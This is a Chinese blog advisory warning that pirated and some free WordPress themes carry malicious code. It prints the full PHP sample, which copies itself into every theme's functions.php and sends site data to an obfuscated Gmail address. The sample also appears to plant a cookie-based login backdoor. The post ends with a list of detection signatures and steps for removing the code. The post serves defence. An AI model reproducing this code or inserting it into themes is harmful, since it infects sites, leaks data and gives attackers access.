其实从 6 月份 v7v3 刚上线的时候小编就发现网上流传的所谓的免费的 d8，Mossight，D7 等主题包含恶意代码，当时小编并没有打算发布这篇通告，原因很简单，你既然想用破解主题那么就要做好被坑的准备，谁叫你不支持正版呢？不过最近一个以来小编发现出现恶意代码的不仅仅是那些收费 WordPress 主题了，很多免费 WordPress 主题也被植入了该恶意代码，代码如下：
<?php
function _verify_activate_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "
"); fputs($f=fopen($item,"w+"),$cont . $sar . "
" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_activate_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID,
comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,
SUBSTRING(comment_content,1,
$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID)
WHERE comment_approved="1" AND comment_type=""
AND post_author="li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m"
AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("因为这是一个受保护的文章，没有摘录。.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,
SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON
($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type=""
AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) .
" ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "s
x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class="more-link"><a href="
". get_permalink($post->ID) . "#more-" . $post->ID ."" title="
" . $mlink_title . "">"
. $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "
";
} else {
$output .= " <" . $tag . " class="more-link"><a href="
". get_permalink($post->ID) . "" title="" . $mlink_title . "">" . $more_links_text . "</a></" . $tag . ">" . "
";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
if(!$show_pass_post) $request .= " AND post_password =""";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
只要激活了包含该代码的主题就会将网站所有数据同步发送到 livethemas@gmail.com 这个邮箱，并且感染当前网站本地所有存在的主题，那么如何来检测主题是否包含恶意代码呢？打开主题 functions.php 文件，并搜索_verify_activate_widget，如果存在该代码，那么恭喜你了你中招了。中招后如何补救呢？首先清除现在使用的主题中的恶意代码，然后将网站所有存在的主题下载下来，并清楚被感染的 functions.php 文件中的恶意代码即可。
（PS：本站提供的所有主题均经过小编手动检测，确保无任何恶意代码！）
2013 年 12 月 21 日更新恶意代码特征：
_verify_isactivate_widgets _check_isactive_widget _get_allwidgetscont _prepare_widgets __popular_posts function _checkactive_widgets function _get_allwidgets_cont function stripos function strripos function scandir add_action(「admin_head」, 「_checkactive_widgets」); function _getprepare_widget add_action(「init」, 「_getprepare_widget」); function __popular_posts
只需在主题的 functions.php 文件中以及 functions.php 文件的引入的文件中搜索以上任意一行恶意代码的特征码，如果发现存在那么，很可能你就中招了，修复方法和第一种恶意代码一样。